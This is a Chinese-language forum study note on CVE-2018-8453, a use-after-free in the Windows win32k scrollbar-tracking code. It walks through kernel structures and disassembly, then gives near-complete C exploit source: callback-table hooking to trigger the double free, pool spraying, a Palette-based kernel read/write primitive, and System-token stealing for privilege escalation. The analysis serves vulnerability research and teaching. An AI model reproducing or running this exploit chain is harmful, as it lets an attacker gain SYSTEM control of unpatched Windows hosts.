其他
CVE-2018-8453提权漏洞学习笔记
本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
1.漏洞描述
2.实验环境
操作系统:Win10 x64 1709 专业版
编译器:Visual Studio 2017
调试器:IDA Pro, WinDbg
二
漏洞分析
1.关键结构体
3: kd> dt tagWND
+0x000 head : _THRDESKHEAD
+0x0A8 pcls : Ptr64 tagCLS
3: kd> dt _THRDESKHEAD
+0x000 h : Ptr64 Void
+0x008 cLockObj : Uint4B
+0x010 pti : Ptr64 tagTHREADINFO
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 UChar
3: kd> dt tagTHREADINFO
+0x052 fnid : Uint2B
+0x180 cbwndExtra : Uint8B
+0x198 pq : Ptr64 tagQ
+0x2B0 pSBTrack : Ptr64 tagSBTRACK
#define FNID_DELETED_BIT 0x00008000
1: kd> dt tagQ
+0x068 spwndCapture : Ptr64 tagWND
3: kd> dt tagSBTRACK -v
struct tagSBTRACK, 17 elements, 0x68 bytes
+0x000 fHitOld : Bitfield Pos 0, 1 Bit
+0x000 fTrackVert : Bitfield Pos 1, 1 Bit
+0x000 fCtlSB : Bitfield Pos 2, 1 Bit
+0x000 fTrackRecalc : Bitfield Pos 3, 1 Bit
+0x008 spwndTrack : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x010 spwndSB : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x018 spwndSBNotify : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x020 rcTrack : struct tagRECT, 4 elements, 0x10 bytes
+0x030 xxxpfnSB : Ptr64 to void
+0x038 cmdSB : Uint4B
+0x040 hTimerSB : Uint8B
+0x048 dpxThumb : Int4B
+0x04c pxOld : Int4B
+0x050 posOld : Int4B
+0x054 posNew : Int4B
+0x058 nBar : Int4B
+0x060 pSBCalc : Ptr64 to struct tagSBCALC, 16 elements, 0x40
.text:00000001C0050A10 mov r8, [rdi+180h] ; r8 = tagWND->cbwndExtra
.text:00000001C0050A17 mov eax, 8000h
.text:00000001C0050A1C or [rdi+52h], ax ; tagWND->fnid |= 0x8000
.text:00000001C0050A20 lea rax, [r8-1]
.text:00000001C0050A24 cmp rax, 0FFFFFFFFFFFFFFFDh
.text:00000001C0050A28 ja short loc_1C0050A6D ; 判断r8是否为0
.text:00000001C0050A2A test dword ptr [rdi+130h], 800h
.text:00000001C0050A34 jnz loc_1C00513AD
.text:00000001C0050A3A call cs:__imp_PsGetCurrentProcess
.text:00000001C0050A40 mov ecx, [rax+304h]
.text:00000001C0050A46 test ecx, 40000008h
.text:00000001C0050A4C jnz short loc_1C0050A66
.text:00000001C0050A4E mov eax, [r15+1D0h]
.text:00000001C0050A55 test r14b, al
.text:00000001C0050A58 jnz short loc_1C0050A66
.text:00000001C0050A5A mov rcx, [rdi+180h] ; rcx = tagWND->cbwndExtra
.text:00000001C0050A61 call xxxClientFreeWindowClassExtraBytes
.text:00000001C00B6D25 mov r8d, 8
.text:00000001C00B6D2B lea rax, [rsp+48h+arg_10]
.text:00000001C00B6D30 lea r9, [rsp+48h+var_18]
.text:00000001C00B6D35 mov [rsp+48h+var_28], rax
.text:00000001C00B6D3A lea rdx, [rsp+48h+arg_18]
.text:00000001C00B6D3F lea ecx, [r8+76h] ; ecx = 0x76 + 0x8 = 0x7E
.text:00000001C00B6D43 call cs:__imp_KeUserModeCallback
.text:00000001C00509EF movzx eax, word ptr [rdi+52h] ; eax = tagWND->fnid
.text:00000001C00509F3 mov edx, 3FFFh
.text:00000001C00509F8 movzx ecx, ax
.text:00000001C00509FB and cx, dx
.text:00000001C00509FE mov edx, 29Ah
.text:00000001C0050A03 lea r8d, [rdx+6] ; r8d = 0x29A + 0x6 = 0x2A0
.text:00000001C0050A07 cmp cx, dx
.text:00000001C0050A0A jnb loc_1C005117A ; 此处会跳转
; 省略部分代码
.text:00000001C005117A loc_1C005117A:
.text:00000001C005117A mov ebx, 4000h
.text:00000001C005117F test bx, ax
.text:00000001C0051182 jnz loc_1C0050A10 ; r8 = tagWND->cbwndExtra
.text:00000001C0051188 cmp cx, r8w ; r8w = 0x2A0
.text:00000001C005118C jbe loc_1C00514B7 ; fnid <= 0x2A0跳转
.text:00000001C0051192 mov eax, 2AAh
.text:00000001C0051197 cmp cx, ax
.text:00000001C005119A ja short loc_1C00511AC ; fnid >= 0x2AA则跳转
.text:00000001C005119C mov eax, [r15+1D0h]
.text:00000001C00511A3 test r14b, al
.text:00000001C00511A6 jz loc_1C00515D8 ; 这里需要跳转
.text:00000001C00515D8 loc_1C00515D8:
.text:00000001C00515D8 mov rax, cs:__imp_gpsi
.text:00000001C00515DF xor r9d, r9d ; r9d = 0
.text:00000001C00515E2 movzx ecx, cx
.text:00000001C00515E5 xor r8d, r8d
.text:00000001C00515E8 mov [rsp+100h+var_C8], r13
.text:00000001C00515ED mov dword ptr [rsp+100h+var_D0], r14d
.text:00000001C00515F2 mov rax, [rax]
.text:00000001C00515F5 lea edx, [r9+70h] ; edx = 0 + 0x70 = 0x70
.text:00000001C00515F9 mov rax, [rax+rcx*8-1210h]
.text:00000001C0051601 mov rcx, rdi
.text:00000001C0051604 mov qword ptr [rsp+100h+var_D8], rax
.text:00000001C0051609 mov qword ptr [rsp+100h+var_E0], r13
.text:00000001C005160E call SfnDWORD
.text:00000001C0051613 jmp loc_1C00511AC
.text:00000001C006F85A lea r9, [rsp+108h+arg_18] ;
.text:00000001C006F862 mov r8d, 30h ; '0' ;
.text:00000001C006F868 lea rdx, [rsp+108h+var_C8]
.text:00000001C006F86D lea ecx, [r8-2Eh] ; ecx = 0x30 - 0x2E = 0x2
.text:00000001C006F871 call cs:__imp_KeUserModeCallback
3.xxxSBTrackInit函数分析
__int64 __fastcall xxxSBTrackInit(struct tagWND *tagWND, __int64 a2, int a3, int a4)
{
// 申请内存并进行初始化
pSBTrack = Win32AllocPoolWithQuota(0x68, 'tssU');
pSBTrack_1 = pSBTrack;
if ( !pSBTrack )
return pSBTrack;
// 对成员进行初始化
*(_DWORD *)pSBTrack &= 0xFFFFFFFE;
*(_QWORD *)(pSBTrack + 0x40) = 0i64;
*(_QWORD *)(pSBTrack + 8) = 0i64;
*(_QWORD *)(pSBTrack + 0x10) = 0i64;
*(_QWORD *)(pSBTrack + 0x18) = 0i64;
*(_QWORD *)(pSBTrack + 0x30) = xxxTrackBox;
// 将pSBTrack存储与tagTHRAEDINFO->pSBTrack中
*(_QWORD *)(*((_QWORD *)tagWND + 2) + 0x2B0i64) = pSBTrack;
// 对spwndTrack,spwndSB,spwndSBNotify进行引用
arr[0] = pSBTrack_1 + 8;
arr[1] = tagWND;
HMAssignmentLock(arr);
arr[0] = pSBTrack_1 + 0x10;
arr[1] = tagWND;
HMAssignmentLock(arr);
arr[0] = pSBTrack_1 + 0x18;
arr[1] = *((_QWORD *)tagWND + 0xD);
HMAssignmentLock(arr);
xxxCapture(*(_QWORD *)gptiCurrent, tagWND, 3i64);
pti = *((_QWORD *)tagWND + 2);
if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
{
// 消息分发
xxxSBTrackLoop(tagWND, a2, (struct tagSBCALC *)v17);
// 释放pSBTrack对象
pti = *((_QWORD *)tagWND + 2);
pSBTrack = *(_QWORD *)(pti + 0x2B0);
if ( pSBTrack )
{
// 解引用
HMAssignmentUnlock(pSBTrack + 0x18);
HMAssignmentUnlock(pSBTrack + 0x10);
HMAssignmentUnlock(pSBTrack + 8);
// 释放pSBTrack
Win32FreePool(pSBTrack);
pti = *((_QWORD *)tagWND + 2);
*(_QWORD *)(pti + 0x2B0) = 0i64;
return pti;
}
}
}
4.NtUserSetWindowFNID函数分析
__int64 __fastcall NtUserSetWindowFNID(__int64 a1, __int16 fnid)
{
hwnd = ValidateHwnd(a1);
if ( hwnd )
{
if ( *(_QWORD *)(*(_QWORD *)(hwnd + 0x10) + 400i64) == PsGetCurrentProcessWin32Process(v5) )
{
// 判断要设置的fnid是否满足要求
if ( fnid == 0x4000 || fnid - 0x2A1 <= 9 && (*(_WORD *)(hwnd + 0x52) & 0x3FFF) == 0 )
{
// 设置tagWND->fnid
*(_WORD *)(hwnd + 0x52) |= fnid;
}
}
}
}
三
漏洞触发
__int64 __fastcall xxxEndScroll(struct tagWND *pwnd, int a2)
{
// 要释放pSBTrack结构体的三个条件
pti = *((_QWORD *)pwnd + 2);
pSBTrack = *(_QWORD *)(pti + 0x2B0);
if ( !pSBTrack ) // pSBTrack != NULL
return pti;
pq = *(_QWORD *)(*(_QWORD *)gptiCurrent + 0x198i64);
if ( *(struct tagWND **)(pq + 0x68) != pwnd ) // pq->spwndCapture == pwnd
return pti;
if ( !*(_QWORD *)(pSBTrack + 0x30) ) // pSBTrack->xxxpfnSB != NULL
return pti;
// 释放掉pSBTrack结构体
pti = *((_QWORD *)pwnd + 2);
if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
{
spwndSB = *(struct tagWND **)(pSBTrack + 0x10);
if ( !spwndSB || (zzzShowCaret(spwndSB), pti = *((_QWORD *)pwnd + 2), pSBTrack == *(_QWORD *)(pti + 0x2B0)) )
{
*(_QWORD *)(pSBTrack + 0x30) = 0i64;
HMAssignmentUnlock(pSBTrack + 0x10);
HMAssignmentUnlock(pSBTrack + 0x18);
HMAssignmentUnlock(pSBTrack + 8);
Win32FreePool(pSBTrack);
pti = *((_QWORD *)pwnd + 2);
*(_QWORD *)(pti + 0x2B0) = 0i64;
}
}
return pti;
}
BOOL CreateWindows()
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
char *szClassName = "MainWindow";
WNDCLASS wc = { 0 };
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = handle;
wc.cbWndExtra = 8;
wc.lpszClassName = szClassName;
if (!RegisterClass(&wc))
{
bRet = FALSE;
ShowError("RegisterClass", GetLastError());
goto exit;
}
Window = CreateWindowEx(0, szClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!Window)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
SetWindowLong(Window, 0, (ULONG)Window);
ScrollBar = CreateWindowEx(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, handle, NULL);
if (!ScrollBar)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
exit:
return bRet;
}
BOOL HookFunc_CVE_2018_8453()
{
BOOL bRet = TRUE;
ULONG64 ulKernelCallBackTable = *(PULONG64)(GetPEB() + 0x58);
DWORD dwOldProtect = 0;
if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, PAGE_READWRITE, &dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
org_fnDWORD = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2);
*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2) = (ULONG64)My_fnDWORD;
org_xxxClientAllocWindowClassExtraBytes = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80);
*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80) = (ULONG64)My_xxxClientFreeWindowClassExtraBytes;
if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, dwOldProtect, &dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
exit:
return bRet;
}
LONG64 My_fnDWORD(PVOID arg0)
{
if (g_Flag_2018_8453 && *(PDWORD)arg0)
{
g_Flag_2018_8453 = FALSE;
DestroyWindow(Window);
}
if (*((PULONG64)arg0 + 1) == 0x70)
{
SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);
}
return org_fnDWORD(arg0);
}
LONG64 My_xxxClientFreeWindowClassExtraBytes(PVOID arg0)
{
if ((*(HWND*)*(HWND*)arg0) == Window)
{
New_ScrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
NtUserSetWindowFNID(Window, 0x2A1);
SetCapture(New_ScrollBar);
}
return org_xxxClientAllocWindowClassExtraBytes(arg0);
}
BOOL POC_CVE_2018_8453()
{
BOOL bRet = TRUE;
if (!CreateWindows())
{
bRet = FALSE;
goto exit;
}
if (!HookFunc_CVE_2018_8453())
{
bRet = FALSE;
goto exit;
}
g_Flag_2018_8453 = TRUE;
SendMessageA(ScrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
exit:
return bRet;
}
2: kd> !analyze -v
Connected to Windows 10 16299 x64 target at (Tue Jul 12 23:41:49.772 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000007, Attempt to free pool which was already freed
Arg2: 0000000074737355, Pool tag value from the pool header
Arg3: 000000002d080002, Contents of the first 4 bytes of the pool header
Arg4: ffffea21825a28f0, Address of the block of pool being deallocated
POOL_ADDRESS: ffffea21825a28f0 Paged session pool
FREED_POOL_TAG: Usst
PROCESS_NAME: exp_x64.exe
STACK_TEXT:
nt!DbgBreakPointWithStatus
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x937
nt!KeBugCheckEx+0x107
nt!ExFreePoolWithTag+0x17bc
win32kfull!Win32FreePoolImpl+0x4c
win32kbase!Win32FreePool+0x1c
win32kfull!xxxSBTrackInit+0x491
win32kfull!xxxSBWndProc+0x9fa
win32kfull!xxxSendTransformableMessageTimeout+0x3c8
win32kfull!xxxWrapSendMessage+0x24
win32kfull!NtUserMessageCall+0xfb
nt!KiSystemServiceCopyEnd+0x13
win32k!NtUserMessageCall+0x14
USER32!SendMessageWorker+0x108
USER32!SendMessageA+0x55
四
漏洞利用
1.利用思路
2.Palette对象
HPALETTE WINAPI CreatePalette(LOGPALETTE * plpal);
typedef struct tagLOGPALETTE {
WORD palVersion;
WORD palNumEntries;
PALETTEENTRY palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE;
typedef struct tagPALETTEENTRY
{
BYTE peRed;
BYTE peGreen;
BYTE peBlue;
BYTE peFlags;
} PALETTEENTRY;
typedef struct _BASEOBJECT64
{
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64, *POBJ; // sizeof = 0x18
typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG64 ulUnknown[0xB] // 0x20
PALETTEENTRY *pFirstColor; // 0x78
PALETTE64 *ppalThis; // 0x80
PALETTEENTRY apalColors[3]; // 0x88
} PALETTE64, *PPALETTE64;
UINT WINAPI SetPaletteEntries(HPALETTE hpal,
UINT iStart,
UINT cEntries,
PALETTEENTRY *pPalEntries);
UINT WINAPI GetPaletteEntries(HPALETTE hpal,
UINT iStart,
UINT cEntries,
LPPALETTEENTRY pPalEntries);
ULONG64 AllocateFreeWindow(DWORD dwSize)
{
ULONG64 ulRes = 0;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
WNDCLASSW wc = { 0 };
WCHAR szMenuName[0x1005] = { 0 };
PWCHAR pClassName = L"LEAKWS";
memset(szMenuName, 0x42, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pClassName;
wc.lpszMenuName = szMenuName;
if (!RegisterClassW(&wc))
{
ShowError("RegisterClassW", GetLastError());
goto exit;
}
HWND hWnd = CreateWindowExW(0, pClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!hWnd)
{
ShowError("CreateWindowExW", GetLastError());
goto exit;
}
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle) goto exit;
PTHRDESKHEAD pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd, TYPE_WINDOW);
ULONG64 ulTagCls = 0, ulClientDelta = 0;
ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
ulRes = *(PULONG64)(ulTagCls + 0x98);
DestroyWindow(hWnd);
UnregisterClassW(pClassName, handle);
exit:
return ulRes;
}
BOOL GetPalette_CVE_2018_8453(HPALETTE *hPalette)
{
BOOL bRet = TRUE;
CONST DWORD dwCount = 0x1500;
DWORD i = 0, dwSize = 0x800;
HACCEL hAccel[dwCount] = { NULL };
PLOGPALETTE pLogPalette = NULL;
DWORD dwNumEntries = (dwSize - 0x88 - POOL_HEADER_SIZE - 0x10) / 4;
DWORD dwPalSize = sizeof(LOGPALETTE) + (dwNumEntries - 1) * sizeof(PALETTEENTRY);
pLogPalette = (PLOGPALETTE)malloc(dwPalSize);
if (!pLogPalette)
{
ShowError("malloc", GetLastError());
goto exit;
}
ZeroMemory(pLogPalette, dwPalSize);
memset(pLogPalette, 0x41, dwPalSize);
pLogPalette->palNumEntries = dwNumEntries;
pLogPalette->palVersion = 0x300;
// 消耗0x800大小的空余内存
for (i = 0; i < dwCount; i++)
{
// 0x14D * 6 + 0x1C + 0x10 = 0x7CE + 0x1C + 0x10 = 0x7FA = 0x800
ACCEL accel[0x14D] = { 0 };
hAccel[i] = CreateAcceleratorTable(accel, 0x14D);
if (!hAccel[i]) break;
}
// 申请一块新的0x1000大小MENUNAME并释放掉它
ULONG64 ulRes = AllocateFreeWindow(0x1000);
if (!ulRes)
{
bRet = FALSE;
goto exit;
}
// 占用释放上一步释放的0x1000大小的内存
hPalette[0] = CreatePalette(pLogPalette);
hPalette[1] = CreatePalette(pLogPalette);
if (!hPalette[0] || !hPalette[1])
{
bRet = FALSE;
goto exit;
}
// 用于记录修改cEntries成员的大小
g_ulTarAddr_2018_8453 = ulRes + 0x2D - 8;
exit:
for (i = 0; i < dwCount; i++)
{
if (hAccel[i])
{
DestroyAcceleratorTable(hAccel[i]);
hAccel[i] = NULL;
}
else break;
}
return bRet;
}
LONG64 My_fnDWORD(PVOID arg0)
{
if (g_Flag_2018_8453 && *(PDWORD)arg0)
{
g_Flag_2018_8453 = FALSE;
DestroyWindow(Window);
}
if (*((PULONG64)arg0 + 1) == 0x70)
{
CONST DWORD dwCount = 0x2000;
DWORD i = 0, dwSize = 0x80;
HACCEL hAccel[dwCount] = { NULL };
// 占用0x80的空闲内存
for (i = 0; i < dwCount; i++)
{
// 0x6 * 0x8 + 0x1C + 0x10 = 0x4E + 0x1C + 0x10 = 0x7A = 0x80
ACCEL accel[0xD] = { 0 };
hAccel[i] = CreateAcceleratorTable(accel, 0xD);
if (!hAccel[i]) break;
}
// 释放tagSBTRACK内存
SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle) goto exit;
HINSTANCE handle = GetModuleHandle(NULL);
if (!handle)
{
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
HWND hWnd[0x400] = { NULL };
WNDCLASSW wc = { 0 };
WCHAR MenuName[0x100] = { 0 }, ClassName[0x50] = { 0 };
// 占用释放的tagSBTRACK内存
memset(MenuName, 0x43, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
*(PULONG64)((ULONG64)MenuName + 0x8) = g_ulTarAddr_2018_8453;
*(PULONG64)((ULONG64)MenuName + 0x10) = g_ulTarAddr_2018_8453;
for (i = 0; i < 0x400; i++)
{
memset(ClassName, 0, 0x50);
sprintf((char*)ClassName, "WindowLeak%d", i);
memset(&wc, 0, sizeof(wc));
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszMenuName = MenuName;
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpszClassName = ClassName;
if (!RegisterClassW(&wc))
{
ShowError("RegisterClassW", GetLastError());
break;
}
hWnd[i] = CreateWindowExW(0, (LPCWSTR)ClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!hWnd[i])
{
ShowError("CreateWindowExW", GetLastError());
break;
}
}
ULONG64 ulTagCls = 0, ulClientDelta = 0;
PTHRDESKHEAD pTagWndHead = NULL;
for (i = 0; i < 0x400; i++)
{
if (!hWnd[i]) break;
pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd[i], TYPE_WINDOW);
ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
g_ulMenuName_2018_8453[i] = ulTagCls + 0x98 + ulClientDelta;
}
for (i = 0; i < dwCount; i++)
{
if (hAccel[i])
{
DestroyAcceleratorTable(hAccel[i]);
hAccel[i] = NULL;
}
else break;
}
}
exit:
return org_fnDWORD(arg0);
}
BOOL SetPaletteTarget(HPALETTE hManager, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
BOOL bRet = TRUE;
// 设置要读写的内存地址
if (!SetPaletteEntries(hManager, dwStart, dwEntries, (PPALETTEENTRY)&pTargetAddress))
{
bRet = FALSE;
ShowError("SetPaletteEntries", GetLastError());
goto exit;
}
exit:
return bRet;
}
ULONG64 ReadDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
ULONG64 ulData = 0;
if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
{
goto exit;
}
if (!GetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulData))
{
ShowError("GetPaletteEntries", GetLastError());
goto exit;
}
exit:
return ulData;
}
BOOL WriteDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress, ULONG64 ulValue)
{
BOOL bRet = TRUE;
if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
{
bRet = FALSE;
goto exit;
}
if (!SetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulValue))
{
bRet = FALSE;
ShowError("SetPaletteEntries", GetLastError());
goto exit;
}
exit:
return bRet;
}
五
运行结果
BOOL EnablePrivilege_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
BOOL bRet = TRUE;
DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
DWORD dwFirstColorOffset = 0x78;
DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;
// 获取System进程的EPROCESS
ULONG64 ulSystemEprocess = GetSystemEprocessByPalette(hManager, hWorker, dwStart, dwEntries);
if (!ulSystemEprocess)
{
bRet = FALSE;
goto exit;
}
DWORD CONST dwPIDOffset = 0x2E0, dwLinksOffset = 0x2E8, dwTokenOffset = 0x358;
ULONG64 ulPID = GetCurrentProcessId(), ulCurPID = 0, ulCurEprocess = ulSystemEprocess;
// 获取当前进程EPROCESS
do {
ulCurEprocess = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwLinksOffset));
ulCurEprocess -= dwLinksOffset;
ulCurPID = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwPIDOffset));
} while (ulPID != ulCurPID);
ULONG64 ulToken = 0;
// 将system进程的token赋给当前进程
ulToken = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulSystemEprocess + dwTokenOffset));
WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwTokenOffset), ulToken);
exit:
return bRet;
}
BOOL ReapairData_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
BOOL bRet = TRUE;
ULONG64 ulValue = 0;
DWORD i = 0;
DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
DWORD dwFirstColorOffset = 0x78;
DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;
for (i = 0; i < 0x400; i++)
{
if (g_ulMenuName_2018_8453[i])
{
if (!WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)g_ulMenuName_2018_8453[i], (ULONG64)ulValue))
{
printf("reapair wrong\n");
bRet = FALSE;
goto exit;
}
}
else break;
}
exit:
return bRet;
}
参考资料:
https://paper.seebug.org/784/ https://paper.seebug.org/798/ https://paper.seebug.org/1135/ https://paper.seebug.org/1136/ https://www.anquanke.com/post/id/168572
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
3.House of apple 一种新的glibc中IO攻击方法
球分享
球点赞
球在看
点击“阅读原文”,了解更多!